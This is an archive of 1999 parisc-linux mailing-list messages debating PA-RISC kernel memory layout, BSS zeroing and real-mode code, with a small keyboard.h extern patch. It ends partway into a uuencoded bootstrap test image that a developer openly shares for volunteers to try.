To: Philippe Benard <phi@hpfrcu03.france.hp.com>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 10:43:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA14412
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 10:42:59 -0700
Original-Received: (qmail 23210 invoked by uid 15267); 17 Nov 1999 17:44:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23199 invoked from network); 17 Nov 1999 17:44:38 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 17:44:38 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 18:44:34 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id OAA09915;
	Wed, 17 Nov 1999 14:01:19 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <383145A5.C2AF5857@hpfrcu03.france.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6436

> > Thats why someone pulled that number out of a hat. You can pull any other
> > page aligned number out of a hat and that will be fine too.

Fine with the MM subsystem.  If you fix all the code stolen to work with the
new PAGE_OFFSET.  And fix it again when we merge with 2.3.

> Hum interesting, too bad the hat didn't got 0x1000 or 0x10000 i.e something
> that could be mapped to 0.0x0x1000 or 0.0x10000 this would greatly simplify
> the kernel code writing that need to run traslation off, I bet they used a red
> hat :-)

While any other page-aligned value for PAGE_OFFSET is fine with the Linux MM
code, it isn't with parisc hardware.  For that we need 1 MB-aligned addresses
(theoretically) or 512 KB-aligned addresses (according to the rumors about
undocumented hardware I heard).

> Anyway I'm sure that after a significant effort and marco's vmlinux will
> finally boot with all those funny things, 2 os in 1 file etc... :-) 

It boots quite fine now, and it never did that for PAGE_OFFSET == 0x0000 0000
(as it was back in the dark time when we didn't use VM at all).

The problem right now is we cannot run C code while PAGE_OFFSET is 0, and I
would like to do that (if I were good at parisc assembly, we wouldn't need to
do that.  Unfortunately, I'm quite bad, and I happen to prefer reading debug
messages over staring at PIM dumps for hours (which I've done, too)).

> I'm still in the dark regarding spaces usage (that is hppa dependent) in
> vmlinux, since this define the VAS usage, I'm back to the initial question how
> the VAS is used/designed for the kernel and for user processes.

> For instance how big can be a process under linux on pa1.1?

Right now TASK_SIZE, which is #defined to PAGE_OFFSET, which is defined to be
0xc000 0000.

Soon, 0x8000 0000 (without changing anything else).

> If you answer is lnear 4Gb,  I would say whoa they must have a real good
> design.

Eventually, we might have a flat 3 GB address space.  (4 GB is more difficult
because the syscall pages are at 0xc000 0000 / 0xc000 1000 currently).

Flat 4 GB is more difficult because HP/UX's ABI puts a syscall page after 3 GB
but otherwise there shouldn't be a problem (of course the pages at 0xc000 0000
and 0xc000 1000 always will be special).

> If you say 4x1Gb, I would say hum, they are using spaces

No need to do that, is there ?  (It looks okay as long as 1 GB looks huge
and you don't think you'll ever reach it - 80's literature can be so amusing).

On the other hand, 64 bits is really huge and we'll never run out of address
space on 64-bit machines.  This is here so it can be quoted.

> For now I have the feeling (hoping I completly wrong) that the user space is
> confined into the low 2Gb and the kernel space is located into the high 2Gb,
> well I bet I'm wrong here, I will try to find this mm.c code you spoke about,
> I was more hoping de design document even very thin, there is no need for a
> big book to describe how a VAS is implemented.

Right now you're right, we don't implement anything fancy and have to flush the
TLB on context switch (strictly speaking maybe we don't and could survive by
flushing TLB entries after we got a protection id mismatch).

In the near future we'll be using spaces in the obvious way - i.e. a process
has all space registers set to a unique value (unique per view of the memory,
so similar to the traditional process id (on Linux threads have pids too so
it isn't all that easy)).

My current impression is the easiest way to implement the unique value is
using the same value for protection id and the space registers.  Userspace is
expected never to change the values in the space registers and doing so will
result in a segmentation fault.  Is this consistent with what HP/UX binaries
expect ?

In the far future, we might consider doing fancy things using more than one
protection identifier at a time, allowing more than 32768 processes (not
counting all threads per process), directly mapping a file using SR1-SR3 (I
can see some applications that would like the performance improvement of
mmapping a complete disk) and other, even sicker, things.

	Philipp Rumpf


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Wed, 17 Nov 1999 07:34:53 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <19991117073453.I750@mathe.stud.uni-erlangen.de>
References: <199911170248.VAA15412@hiauly1.hia.nrc.ca> <1129.942809756@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618645 28375 80.91.229.3 (22 Nov 2014 01:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:45 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, bame@debian.fc.hp.com,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 10:43:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA14515
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 10:43:04 -0700
Original-Received: (qmail 23252 invoked by uid 15267); 17 Nov 1999 17:44:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23245 invoked from network); 17 Nov 1999 17:44:42 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 17:44:42 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 18:44:37 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id HAA09859;
	Wed, 17 Nov 1999 07:35:53 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <1129.942809756@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:6437

> Yea, but you appear to be depending on highly suspicious behavior.    The
> trick of ordering subspaces in the first .o on the link line to provide an
> ordering for the subspaces in the final executable relies on documented
> behavior of the HP linker.

After reading the whole discussion, I have to admit I really don't understand
what the problem is.  Maybe the boot loader doesn't tell us where the kernel
ends, but do we really want to know ?  We know that everything after the start
of the BSS section is our memory, and no-one is going to expect any nonzero
value beyond it.

While memsetting the whole memory after the start of the BSS section might be
overkill, it certainly will eliminate some otherwise unreproducable bugs.
Maybe limit it to some barrier that will be sane for the foreseeable future
(say, 16 MB) (and do print a warning / panic if _end is even higher), but it
shouldn't be a problem just doing it the stupid way now and do it right when
we have ELF, no ?

	Philipp Rumpf


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Wed, 17 Nov 1999 13:12:45 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <199911171812.NAA17052@hiauly1.hia.nrc.ca>
References: <19991117073453.I750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618645 28383 80.91.229.3 (22 Nov 2014 01:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:45 +0000 (UTC)
Cc: law@cygnus.com, bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 17 11:12:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA15469
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 11:12:37 -0700
Original-Received: (qmail 4034 invoked by uid 15267); 17 Nov 1999 18:14:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4025 invoked from network); 17 Nov 1999 18:14:15 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 18:14:15 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA17052;
	Wed, 17 Nov 1999 13:12:45 -0500 (EST)
In-Reply-To: <19991117073453.I750@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 17, 99 07:34:53 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6438

> 
> > Yea, but you appear to be depending on highly suspicious behavior.    The
> > trick of ordering subspaces in the first .o on the link line to provide an
> > ordering for the subspaces in the final executable relies on documented
> > behavior of the HP linker.
> 
> After reading the whole discussion, I have to admit I really don't understand
> what the problem is.  Maybe the boot loader doesn't tell us where the kernel
> ends, but do we really want to know ?  We know that everything after the start
> of the BSS section is our memory, and no-one is going to expect any nonzero
> value beyond it.

The problem is the kernel can't determine how big its common data section
is and therefore where free memory should start.  There are quite a few
big structures and arrays throughout the linux code that are global and
not initiallized.  Without the trick, _end is located at the end of the
bss section.  When "theend" is linked in, _end moves to the end of
unitialized common data and the kernel can easily determine where free
memory starts.

The current hack to determine the start of free memory is to use a symbol
that is near the end of the common data and add a fudge amount to it.
This failed for me recently when I built a configuration without network
support and the symbol was no longer defined.  The size of the common
data varies depending on kernel configuration as well.

Uninitialized common data can be avoided by using static or explicitly
initializing the data object (puts data into $DATA$ instead of $DLT$).
However, if you explicitly initialize, the size of the kernel will grow.
I know some systems still allow installation from floppies.  The kernel
might get too big for this if all common data were explicitly initialized.

Memory from the start of the bss section to the end of the common data
should be zeroed.  I presume other free memory will be initialized when
it is used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing extern's in keyboard.h
Date: Wed, 17 Nov 1999 13:30:51 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <199911171830.NAA17093@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618645 28387 80.91.229.3 (22 Nov 2014 01:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 17 11:29:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA15653
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 11:29:15 -0700
Original-Received: (qmail 11675 invoked by uid 15267); 17 Nov 1999 18:30:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11666 invoked from network); 17 Nov 1999 18:30:54 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 18:30:54 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA17093
	for parisc-linux@thepuffingroup.com; Wed, 17 Nov 1999 13:30:51 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6439

The following was noticed in the hunt for undefined common variables.
A number of extern's are missing in keyboard.h.  As a result, keyboard.h
actually defines the variables instead of just prototyping them.  The
initialization of them should be in keyboard.c.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

--- keyboard.h.orig	Sun Nov 14 17:30:33 1999
+++ keyboard.h	Tue Nov 16 18:43:15 1999
@@ -33,13 +33,13 @@
 extern void parisckbd_init_hw(void);
 
 extern void parisckbd_request_region(void);
-int (*parisckbd_request_irq)(void (*handler)(int, void *, struct pt_regs*));
-unsigned char (*parisckbd_read_input)(void);
-unsigned char (*parisckbd_read_status)(void);
-void (*parisckbd_write_output)(unsigned char val);
-void (*parisckbd_write_command)(unsigned char val);
-char *(*parisckbd_test)(void);
-char *(*parisckbd_reset)(void);
+extern int (*parisckbd_request_irq)(void (*handler)(int, void *, struct pt_regs*));
+extern unsigned char (*parisckbd_read_input)(void);
+extern unsigned char (*parisckbd_read_status)(void);
+extern void (*parisckbd_write_output)(unsigned char val);
+extern void (*parisckbd_write_command)(unsigned char val);
+extern char *(*parisckbd_test)(void);
+extern char *(*parisckbd_reset)(void);
 
 #define kbd_setkeycode		pckbd_setkeycode
 #define kbd_getkeycode		pckbd_getkeycode


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 10:56:33 -0800
Lines: 89
Approved: news@gmane.org
Message-ID: <3832FA61.F977451E@hp.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de> <3831CFF0.F4B3CE3E@hp.com> <19991117071226.G750@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618646 28389 80.91.229.3 (22 Nov 2014 01:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: frank_rowand@hp.com  Wed Nov 17 11:55:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA16063
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 11:55:00 -0700
Original-Received: (qmail 23651 invoked by uid 15267); 17 Nov 1999 18:56:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23640 invoked from network); 17 Nov 1999 18:56:39 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 18:56:39 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id 1DE12C83
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Nov 1999 13:56:37 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id KAA03977; Wed, 17 Nov 1999 10:56:33 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6440

Philipp Rumpf wrote:
> 
> >    - C code that needs to run in real mode seems to be rather fragile, given
> >      Paul's recent experience with head.c.  (I think it was Paul.)
> 
> We do need some tricks to get C code to run in real-mode, and several people
> are working on them.
> 
> When the kernel is mapped, we need to be extremely careful not to hit a
> vmalloced area or something when we call C code that should run in virtual
> mode in real mode.
> 
> It's letting the code fail obviously, for all cases, or letting easy code work
> now and wait for subtle bugs to occur.
> 
> Which one do you prefer ?
> 
> >    - A single instance of code can't (easily) be coded to be able to run both
> >      in real mode and in virtual mode.
> 
> That's true when we map the kernel at 0x0000 0000 as well.  Again, it's
> an obvious bug or a subtle one.


You missed my point.  An example: the os_hpmc() that I wrote only works in
real mode.  If I wanted it to be able to run in virtual mode, I would either
have to write a parallel version that uses virtual addresses (instead of
physical) or every time I used an address I would have to choose whether to
use the physical or virtual address, based on whether address translation was
turned on or not.

If the kernel is equivalently mapped, this problem goes away.


> >  - It's real easy to mis-code real mode assembly (eg. use the PA() macro when
> >    it shouldn't be used or don't use it when it should be used).
> 
> Is there any situation where you should not use PA() for a symbol in real-mode
> assembly ?  I agree branches are a bit difficult because the right way to code
> them is
> 
>         .+(PA(symbol)-PA(.))
> 
> but
> 
>         symbol
> 
> right now happens to work (this is good luck).


Look at os_hpmc() and see where it was not appropriate to use the PA() macro.


> I agree the PA() macro isn't a nice thing to use and if we have a chance to get
> rid of it, we should have a serious look.
> 
> >    - Issues with coherent I/O.
> 
> I don't see them.  I see issues with the architecture specification, but I do
> not believe there is any actual hardware around that depends on this issues.
>
> As far as I understood the implementation of cache-coherent I/O, what basically
> happens is:
> 
>  - I/O controller wants to access physical adress 0x1234 5678
>  - the I/O controller puts a special cycle on the bus it shares with the CPU(s)
>    that basically says "hey, if you have address 0x1234 5678 in your cache and
>    need to write it back, do it now"
>  - all CPUs have a look at the cache lines corresponding to 0x1234 5678, which
>    is the same cache lines as the one used for 0x9234 5678 (very very likely).
>  - all CPUs have a look at the tags of these cache lines, which happen to be
>    physical so 0x1234 5678 and 0x9234 5678 result in the same thing again.
>  - the guilty CPU gives back the cache line, or none does if the line doesn't
>    happen to be in the cache.
> 
> Furthermore, there is no publically documented coherent I/O system from HP yet
> so we have just to assume hardware we only heard rumours about will be sane
> once we get to see it.


So listen to the people who have read that documentation (like Grant).


>         Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 10:57:14 -0800 (PST)
Lines: 17
Approved: news@gmane.org
Message-ID: <199911171857.KAA10363@opus.allegro.com>
References: <19991117072141.H750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618646 28393 80.91.229.3 (22 Nov 2014 01:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: sieler@opus.allegro.com  Wed Nov 17 11:56:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA16187
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 11:55:59 -0700
Original-Received: (qmail 24209 invoked by uid 15267); 17 Nov 1999 18:57:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24202 invoked from network); 17 Nov 1999 18:57:37 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 18:57:37 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id KAA10363;
	Wed, 17 Nov 1999 10:57:14 -0800
In-Reply-To: <19991117072141.H750@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 17, 1999 07:21:41 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6441

Re:

> To support 2 GB (instead of 1.75 GB) we indeed need to do some additional
> tricks (such as mapping the I/O range somewhere else, ugh).
> 
> Any PA1.0 box around on which we waste more than 256 MB ?

I'm not sure exactly what you mean, but IIRC, the 8x2 can have up
to about 720 MB of memory on it (been there, seen it running),
although that's more than the HP marketing blessed maximum.
 
The 832/822 is PA-RISC 1.0.  (sched.models)   (HP-PB machine)
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 20:29:51 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <19991117202951.A10209@mathe.stud.uni-erlangen.de>
References: <19991116174733.C750@mathe.stud.uni-erlangen.de> <199911170006.QAA27014@milano.cup.hp.com> <19991117072141.H750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618646 28394 80.91.229.3 (22 Nov 2014 01:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:46 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 12:26:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA16664
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 12:26:56 -0700
Original-Received: (qmail 6044 invoked by uid 15267); 17 Nov 1999 19:28:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6037 invoked from network); 17 Nov 1999 19:28:35 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 19:28:35 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 20:28:31 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id UAA10265;
	Wed, 17 Nov 1999 20:30:51 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991117072141.H750@mathe.stud.uni-erlangen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6442

On Wed, Nov 17, 1999 at 07:21:41AM +0100, Philipp Rumpf wrote:
> Any PA1.0 box around on which we waste more than 256 MB ?

Eek, of course I meant PA1.1.  Note the 7:21:41AM part as well.

	Philipp Rumpf


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 12:01:51 -0800 (PST)
Lines: 1828
Approved: news@gmane.org
Message-ID: <199911172001.MAA11853@opus.allegro.com>
References: <19991117202951.A10209@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618647 28397 80.91.229.3 (22 Nov 2014 01:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: sieler@opus.allegro.com  Wed Nov 17 13:00:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA17105
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 13:00:22 -0700
Original-Received: (qmail 21424 invoked by uid 15267); 17 Nov 1999 20:01:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21412 invoked from network); 17 Nov 1999 20:01:57 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 20:01:57 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id MAA11853;
	Wed, 17 Nov 1999 12:01:51 -0800
In-Reply-To: <19991117202951.A10209@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 17, 1999 08:29:51 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6443

> > Any PA1.0 box around on which we waste more than 256 MB ?
> 
> Eek, of course I meant PA1.1.  Note the 7:21:41AM part as well.

Yes, many.  8x7 can go up to 1.5 GB (768 MB according to HP marketing).
Others, too.
 

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:50:46 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03542
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:50:35 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:50:35 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id RAA27178
	for <pcj@smtp-local.primenet.com>; Tue, 9 Mar 1999 17:20:43 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id SAA24471
	for <pcj@primenet.com>; Tue, 9 Mar 1999 18:02:05 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd024446; Tue Mar  9 18:02:00 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id SAA19286;
	Tue, 9 Mar 1999 18:42:50 -0500
Resent-Date: Tue, 9 Mar 1999 18:42:50 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Tue, 9 Mar 1999 17:45:56 -0600
From: Jason Eckhardt <jason@equator.com>
Message-Id: <199903092345.RAA25911@equator.com>
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Bootstrap take 3
Resent-Message-ID: <"AYUTg2.0.Bj4.v7Rvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/152
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: bef0f0ecd9bb07f5456fb5f08ad776f4
Status: RO
Lines: 1776
Xref: merlin.pcj.primenet.com palinux:123


Following is take #3 of the bootstrap test.
The second test ran fine on my C160 but failed on a number of other  machines.
Its very difficult for me to determine the failures without having the
machine here to mess with. I will try a few different ideas and put them
up for people to try over the next couple days as time permits.

I still am unable to upload to the ftp site. So once again, I have included
the bootstrap in the mail.

If the test runs successfully you should see this at the end:
---------------------------------------------------------------------------

Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0xnnnnnnnn.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot. (you should see this at least once, and upto 6 times).

---------------------------------------------------------------------------
The very last thing you should see is a "spinning cursor" which means
you reached the last statement in the bootstrap (i.e. passed). (this is
an infinite loop, the cursor will spin forever until you reboot).

It seems that some characters get dropped on some systems, usually when
booting over the network. I don't know why this is the case, and HPs
documentation doesn't say anything about needing delays during console I/O.





begin 664 bootstrap_3.bin
M@`!,24Y56"``````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
